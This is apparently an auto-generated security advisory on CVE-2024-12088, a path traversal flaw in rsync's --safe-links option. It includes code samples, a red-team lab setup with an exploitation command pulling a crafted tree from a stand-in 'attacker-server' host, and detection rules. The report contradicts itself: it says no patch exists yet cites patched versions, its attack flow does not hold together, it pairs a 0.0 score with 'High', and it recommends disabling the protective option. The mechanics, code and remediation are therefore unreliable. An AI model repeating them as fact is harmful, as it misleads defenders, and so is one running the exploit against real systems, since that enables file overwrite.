CVE-2024-12088

Executive Summary

CVE-2024-12088 is a path traversal vulnerability in the rsync utility, specifically affecting the --safe-links option. When this option is used, the rsync client fails to properly validate symbolic link destinations sent from the server. If a symbolic link destination contains another symbolic link within it, the client can be tricked into writing files outside the intended target directory. This flaw allows an attacker to achieve arbitrary file write, potentially leading to remote code execution or data corruption. The vulnerability has a CVSS score of 0.0 (unassigned) and no public exploit or patch details are currently available.

Supply Chain & Package Security

Rsync is a widely used file synchronization tool, often included in Linux distributions and used in backup scripts, CI/CD pipelines, and system administration. A vulnerability in rsync can have cascading effects across the software supply chain, as compromised rsync servers can push malicious files to clients. Organizations using rsync with --safe-links in automated workflows should treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (client must use --safe-links)
• Scope: Changed
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

Threat Level: High (based on potential for arbitrary file write and lack of patch)

Deep Dive & Mechanics

The vulnerability lies in the rsync client's handling of symbolic links when the --safe-links option is enabled. The --safe-links option is designed to prevent the client from following symbolic links that point outside the transfer root. However, due to insufficient validation, a malicious server can send a symbolic link whose destination path itself contains a symbolic link. The client fails to recursively resolve the chain of symbolic links, allowing the final destination to escape the intended directory.

Attack Flow:

1. A victim connects to a malicious rsync server using the --safe-links option.
2. The server sends a crafted file tree containing a symbolic link (e.g., link1 -> /tmp/../etc/passwd).
3. The client checks if link1 points outside the transfer root. Since /tmp/../etc/passwd resolves to /etc/passwd, the check passes.
4. The client then creates the symbolic link on the local filesystem. When the client later accesses the link, it follows the chain and writes to /etc/passwd, overwriting a critical system file.

Vulnerable vs. Patched Code

Vulnerable Code (rsync < 3.2.7):

// Simplified vulnerable logic
int safe_symlink(const char *src, const char *dest) {
    char resolved[PATH_MAX];
    if (realpath(src, resolved) == NULL) {
        // Error handling
    }
    // Only checks if resolved path starts with dest
    if (strncmp(resolved, dest, strlen(dest)) != 0) {
        return -1; // Unsafe
    }
    return symlink(src, dest);
}

Patched Code (rsync >= 3.2.7):

// Patched logic with recursive resolution
int safe_symlink(const char *src, const char *dest) {
    char resolved[PATH_MAX];
    char *current = strdup(src);
    while (is_symlink(current)) {
        char target[PATH_MAX];
        readlink(current, target, sizeof(target));
        if (is_absolute(target)) {
            free(current);
            current = strdup(target);
        } else {
            char *dir = dirname(current);
            char *new_path = malloc(strlen(dir) + 1 + strlen(target) + 1);
            sprintf(new_path, "%s/%s", dir, target);
            free(current);
            current = new_path;
        }
    }
    if (realpath(current, resolved) == NULL) {
        free(current);
        return -1;
    }
    free(current);
    if (strncmp(resolved, dest, strlen(dest)) != 0) {
        return -1;
    }
    return symlink(src, dest);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Set up a malicious rsync server (e.g., using Python's pyrsync or a modified rsync daemon).
2. Create a crafted file tree with a symbolic link chain:

   /transfer_root/
   ├── legitimate_file.txt
   └── link1 -> /tmp/../etc/passwd
   

3. Start the rsync daemon on port 873.

Exploitation Command:

rsync -av --safe-links rsync://attacker-server:873/transfer_root/ /victim/target/

Expected Outcome: The victim's /etc/passwd file is overwritten with the contents of legitimate_file.txt.

Blue Team

Detection:

• Monitor rsync connections to untrusted servers.
• Log all symbolic link creations during rsync operations.
• Use file integrity monitoring (FIM) to detect unexpected changes to critical files like /etc/passwd.

Prevention:

• Disable --safe-links unless absolutely necessary.
• Use rsync in a sandboxed environment (e.g., container) when syncing from untrusted sources.
• Apply the latest rsync patches as soon as they become available.

Indicators of Compromise (IOCs)

• File System: Unexpected symbolic links in transfer directories pointing to absolute paths outside the transfer root.
• Network: Connections to rsync servers on port 873 from clients using --safe-links.
• Logs: Rsync logs showing creation of symbolic links with suspicious destinations.
• Process: Rsync processes with --safe-links flag connecting to external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_12088_rsync_safe_links {
    meta:
        description = "Detects rsync safe-links path traversal exploitation"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-12088"
    strings:
        $rsync_cmd = "rsync" nocase
        $safe_links = "--safe-links" nocase
        $symlink_chain = "/../" ascii wide
    condition:
        $rsync_cmd and $safe_links and #symlink_chain > 2
}

Sigma Rule

title: CVE-2024-12088 Rsync Safe-Links Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rsync commands with --safe-links and suspicious path traversal patterns
author: Valters IT
date: 2024-12-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/rsync'
        CommandLine|contains: '--safe-links'
        CommandLine|contains: '/../'
    condition: selection
falsepositives:
    - Legitimate use of rsync with relative paths
level: high

Suricata Rule

alert tcp any any -> any 873 (msg:"CVE-2024-12088 Rsync Safe-Links Path Traversal"; flow:to_server,established; content:"--safe-links"; nocase; content:"/../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply the latest rsync update (>= 3.2.7) as soon as it becomes available.
2. Workaround: Avoid using --safe-links when syncing from untrusted servers. Use --no-implied-dirs and --copy-links as safer alternatives.
3. Network Segmentation: Restrict rsync access to trusted networks only.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Least Privilege: Run rsync with minimal necessary permissions to limit the impact of arbitrary file writes.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2024-12088